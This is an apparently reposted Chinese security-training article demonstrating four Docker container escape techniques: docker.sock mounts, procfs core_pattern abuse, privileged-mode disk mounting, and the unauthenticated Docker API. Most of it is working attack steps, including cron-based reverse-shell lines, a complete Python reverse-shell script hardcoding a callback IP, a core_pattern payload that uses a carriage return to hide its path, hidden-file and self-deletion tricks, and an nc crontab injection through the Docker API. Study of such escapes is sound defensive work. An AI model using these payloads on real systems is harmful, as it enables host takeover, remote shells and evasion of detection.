文章总结: 本文详细分析Docker容器逃逸的两种技术场景:docker.sock挂载逃逸通过容器内安装Docker客户端与宿主机守护进程交互,利用挂载根目录的恶意容器控制宿主机;procfs挂载逃逸则利用core_pattern配置执行恶意脚本。文档包含完整的原理说明、环境搭建步骤、命令操作示例及验证方法,提供实战性强的技术实现路径。 综合评分: 85 文章分类: 漏洞分析,实战经验,安全工具,解决方案,云安全
docker逃逸一些场景
zkaq – nn0nkey zkaq – nn0nkey
掌控安全EDU
2026年6月30日 14:41 江西
在小说阅读器读本章
去阅读
扫码领资料
获网安教程
本文由掌控安全学院 – nn0nkey投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
-
docker逃逸
docker.sock挂载逃逸
基础知识
Docker Client 和 Docker Daemon
-
Docker Client:这是用户通过命令行与 Docker 进行交互的工具(例如你输入的 docker run 命令)。它提供了一个用户界面来管理 Docker 容器和镜像。
-
Docker Daemon:后台运行的服务(进程),负责管理 Docker 容器的创建、运行、停止等操作。它接收来自 Docker Client 的请求,并处理这些请求。
C/S架构
-
C/S(Client/Server)架构是一种分布式计算模型,其中客户机(Client)发出请求,而服务器(Server)处理请求并返回结果。简单来说,客户端是用户的接口,服务器是处理数据和服务的地方。
通信方式
Docker Client 和 Docker Daemon 之间的通信可以通过以下方式进行:
-
unix:///var/run/docker.sock:
-
这是 Docker 的默认通信方式。/var/run/docker.sock 是一个 Unix 域套接字文件,Docker Daemon 监听这个套接字。使用 Unix 套接字的好处是它不需要任何网络配置,通信速度较快,因为它在同一台机器上。
-
tcp://host:port:
-
这种方式通过 TCP/IP 协议进行通信,允许客户端与远程 Docker Daemon 进行交互。你需要指定 Docker Daemon 运行的主机地址和端口号。这种方式适合在分布式系统中使用,可以让多个客户端通过网络连接到同一个 Docker Daemon。
-
fd://socketfd:
-
这种方式使用文件描述符进行通信,适合某些特殊的场景。在这种情况下,Client 将通过文件描述符与 Daemon 进行通信,通常用于在容器内部进行进程间通信。
原理
我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演
使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。
本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。 因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。
总结下来就是
利用docker socket的通信方法,我们可以起docker服务,可以再起一个恶意的docker(比如root权限,挂载到根目录),然后利用恶意的docker进行逃逸
实现
运行一个挂载/var/run/的容器
一般我们的docker.sock文件都在/var/run/下面
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu
当然进入容器后也可以执行如下命令查找
find / -name docker.sock
然后安装docker
apt-get update
apt-get install docker.io
之后再次run一个有漏洞的docker环境
docker run -it -v /:/host ubuntu:18.04 /bin/bash
这里就是制作一个有漏洞的docker环境,然后挂载到docker的host目录下面
我在我原本的服务器下创建了一个flag.txt文件
[sudo] lll 的密码: ┌──(root㉿kali)-[/home/lll] └─# cd /
┌──(root㉿kali)-[/] └─# vim flag.txt
┌──(root㉿kali)-[/] └─#
然后我们可以看看是否成功
root<span>@f6dedb7bb30b</span>:/# cd /host
root<span>@f6dedb7bb30b</span>:/host# ls
bin dev flag.txt initrd.img lib lib64 media opt root sbin sys usr vmlinuz
boot etc home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
root<span>@f6dedb7bb30b</span>:/host#
可以发现成功了,现在其实就已经逃逸到外面了相当于,当然可以反弹一个shell,写个定时任务
echo '* * * * * bash -i >& /dev/tcp/ip/2333 0>&1' >> /host/var/spool/cron/root
这里我就直接删flag文件
root<span>@f6dedb7bb30b</span>:/host# ls
bin dev flag.txt initrd.img lib lib64 media opt root sbin sys usr vmlinuz
boot etc home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
root<span>@f6dedb7bb30b</span>:/host# rm flag.txt
然后回到原本的宿主机查看是否被删除
┌──(root㉿kali)-[/]
└─# ls
bin dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
boot etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz
已经被删除,说明逃逸成功
#### 挂载proc
##### 基础知识
proc文件
它主要用于提供关于系统状态和进程的信息。procfs的结构以文件和目录的形式组织,用户可以通过读取这些文件来获取系统和进程的各种信息,而不需要使用专门的系统调用。
/proc目录下的内容是动态生成的,不是常驻于磁盘上的数据。这些内容通常包括:
-
进程信息:每个运行中的进程都有一个以其PID(进程ID)命名的子目录(如/proc/1234),里面包含了该进程的状态、内存使用情况、打开的文件描述符等信息。
-
系统信息:如/proc/cpuinfo(CPU信息),/proc/meminfo(内存信息),/proc/version(核版本)等。
-
配置参数:如/proc/sys目录下的文件,用户可以通过这些文件调整系统内核的各种参数。
通过它,用户可以实时获取操作系统的状态和各个进程的详细信息。
原理
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
触发点在于/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。如果程序崩溃就会执行我们的命令
实现
搭建环境就
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
一般我们以core_pattern 文件数量作为标准判定
find / -name core_pattern
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
寻找绝对路径
这是因为Linux转储机制对/proc/sys/kernel/core_pattern内程序的查找是在宿主机文件系统进行的,所以我们需要找到绝对的路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
结果如下
root<span>@45552954dcd4</span>:/# cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
workdir=/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/work
因为我们需要执行文件,就需要下载一些基础的东西
安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
安装成功后我们就可以写一个反弹shell的py脚本了
#!/usr/bin/python3
import os
import pty
import socket
lhost = "49.232.222.195"
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.lll.py')
s.close()
if __name__ == "__main__":
main()
然后给这个脚本一个可执行权限
chmod 777 .lll.py
然后按照漏洞原理的格式
echo -e "|/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/merged/tmp/.lll.py \rcore " > /host/proc/sys/kernel/core_pattern
之后我们需要一个可以写一个可以让程序崩溃的代码
#include
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
然后编译运行
gcc t.c -o t
./t
具体的原理参考
https://www.secrss.com/articles/17274
效果如下
root<span>@45552954dcd4</span>:/# echo -e "|/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/merged/tmp/.lll.py \rcore " > /host/proc/sys/kernel/core_pattern
root<span>@45552954dcd4</span>:/# ./t
Segmentation fault (core dumped)
可以看到崩溃了
来到我们监听的服务器
root<span>@VM-16-17-ubuntu</span>:~# ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 171.218.194.147.
Ncat: Connection from 171.218.194.147:6630.
root<span>@kali</span>:/#
可以看到已经连接成功了,逃逸成功
##### 一些细节
首先为什么我们的脚本文件名是.lll.py
这是一个隐藏文件,直接ls是看不到的
root<span>@kali</span>:/# ls ls bin home lib32 mnt run tmp vmlinuz.old boot initrd.img lib64 opt sbin usr dev initrd.img.old lost+found proc srv var etc lib media root sys vmlinuz
root<span>@kali</span>:/# ls -a ls -a . bin home lib32 mnt run tmp vmlinuz.old .. boot initrd.img lib64 opt sbin usr .cache dev initrd.img.old lost+found proc srv var .lll.py etc lib media root sys vmlinuz
可以看见只有ls -a才能看见.lll.py
然后paylaod中空格加\r的作用
这里展示一下效果
root<span>@VM-16-17-ubuntu</span>:/# echo -e "|/tmp/123123/.x.py \rcore " >/flag
root<span>@VM-16-17-ubuntu</span>:/# cat flag
core /123123/.x.py
就是把真实的路径给遮住了
最后就是os.remove(“/tmp/.lll.py”)在反弹shell的过程中删掉了用来反弹shell的程序自身。
#### 特权模式
##### 基础知识
参考https://www.bookstack.cn/read/openeuler-21.03-zh/70e0731add42ae6d.md
普通容器适合启动普通进程,其权限非常受限,仅具备/etc/default/isulad/config.json中capabilities所定义的默认权限。当需要特权操作时(比如操作/sys下的设备),需要特权容器完成这些操作,使用该特性,容器内的root将拥有宿主机的root权限, 否则,容器内的root在只是宿主机的普通用户权限。
所以延申出了特权模式
特权容器为容器提供了所有功能,还解除了设备cgroup控制器强制执行的所有限制,具备以下特性:
-
Secomp不block任何系统调用
-
/sys、/proc路径可写
-
容器内能访问主机上所有设备
-
系统的权能将全部打开
具体的如下
当容器为特权模式时,将添加以下权能
| | | | — | — | | Capability Key | Capability Description | | SYS_MODULE | 加载和卸载内核模块 | | SYS_RAWIO | 允许直接访问/devport,/dev/mem,/dev/kmem及原始块设备 | | SYS_PACCT | 允许执行进程的BSD式审计 | | SYS_ADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 | | SYS_NICE | 允许提升优先级及设置其他进程的优先级 | | SYS_RESOURCE | 忽略资源限制 | | SYS_TIME | 允许改变系统时钟 | | SYS_TTY_CONFIG | 允许配置TTY设备 | | AUDIT_CONTROL | 启用和禁用内核审计;修改审计过滤器规则;提取审计状态和过滤规则 | | MAC_ADMIN | 覆盖强制访问控制 (Mandatory Access Control (MAC)),为Smack Linux安全模块(Linux Security Module (LSM)) 而实现 | | MAC_OVERRIDE | 允许 MAC 配置或状态改变。为 Smack LSM 而实现 | | NET_ADMIN | 允许执行网络管理任务 | | SYSLOG | 执行特权 syslog(2) 操作 | | DAC_READ_SEARCH | 忽略文件读及目录搜索的DAC访问限制 | | LINUX_IMMUTABLE | 允许修改文件的IMMUTABLE和APPEND属性标志 | | NET_BROADCAST | 允许网络广播和多播访问 | | IPC_LOCK | 允许锁定共享内存片段 | | IPC_OWNER | 忽略IPC所有权检查 | | SYS_PTRACE | 允许跟踪任何进程 | | SYS_BOOT | 允许重新启动系统 | | LEASE | 允许修改文件锁的FL_LEASE标志 | | WAKE_ALARM | 触发将唤醒系统的功能,如设置 CLOCK_REALTIME_ALARM 和 CLOCK_BOOTTIME_ALARM 定时器 | | BLOCK_SUSPEND | 可以阻塞系统挂起的特性 |
原理
如果启动特权模式,我们就可以挂载磁盘文件,可以理解为把宿主机的文件系统直接迁移到docker来了
实现
首先搭建环境
┌──(root㉿kali)-[/]
└─# docker run -it --privileged ubuntu:latest /bin/bash
root<span>@5f9be5a4612f</span>:/#
然后查看是否以特权模式启动
root<span>@5f9be5a4612f</span>:/# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
可以看到我们这里是特权模式启动的
然后就是查找磁盘位置了
fdisk -l
之后挂载磁盘到我们的目录
root<span>@5f9be5a4612f</span>:/dev# mkdir /lll && mount /dev/sda1 /lll
先在原宿主机上创建一个flag
┌──(root㉿kali)-[/] └─# vim flag
──(root㉿kali)-[/] └─# ls bin boot dev etc flag home initrd.img initrd.img.old lib lib32 lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
挂载后我们查看有没有flag
root<span>@5f9be5a4612f</span>:/lll# cd /lll
root<span>@5f9be5a4612f</span>:/lll# ls
bin dev flag initrd.img lib lib64 media opt root sbin sys usr vmlinuz
boot etc home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
可以发现是有的,说明成功了
当然我这个验证只是简单的验证,按理来说是要弹shell的
echo '* * * * * bash -i >& /dev/tcp/ip/2333 0>&1' >> /lll/var/spool/cron/root
#### docker未授权访问
环境就使用Vulhub
┌──(root㉿kali)-[/home/…/Desktop/vulhub/docker/unauthorized-rce]
└─# docker-compose up -d
这个打是比较好打的
或者也可以这样启动
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
可能会导致我们的docker服务在公网上暴露,如果直接访问,我们可以调用一些api恶意利用
这里我没有起服务了
参考https://xz.aliyun.com/t/12495?time__1311=GqGxRQq7qeuDlrzQ0%3DYqxiq7Ki%3DOfQYKx#toc-5
当你访问version会有如下一个效果
/containers/json会返回id字段
执行命令可以利用
POST /containers//exec HTTP/1.1 Host: :PORT Content-Type: application/json Content-Length: 188
{ "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["命令", "参数"], 比如(cat /etc/passwd) "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true }
逃逸还是使用定时任务
启动一个容器,并将主机/etc文件夹挂载到容器,然后我们将可以对任何文件进行读/写访问。
我们可以将crontab配置文件中的命令放入反向shell中
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) 通过在 crontab 中注入命令来利用反向 shell
参考https://www.secrss.com/articles/17274
https://wiki.teamssix.com/CloudNative/Docker/
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+交流群+靶场账号哦
分享后扫码加我!
回顾往期内容
零基础学黑客,该怎么学?
网络安全人员必考的几本证书!
文库|内网神器cs4.0使用说明书
记某地级市护网的攻防演练行动
手把手教你CNVD漏洞挖掘 + 资产收集
【精选】SRC快速入门+上分小秘籍+实战指南
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:掌控安全EDU zkaq – nn0nkey zkaq – nn0nkey《docker逃逸一些场景》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论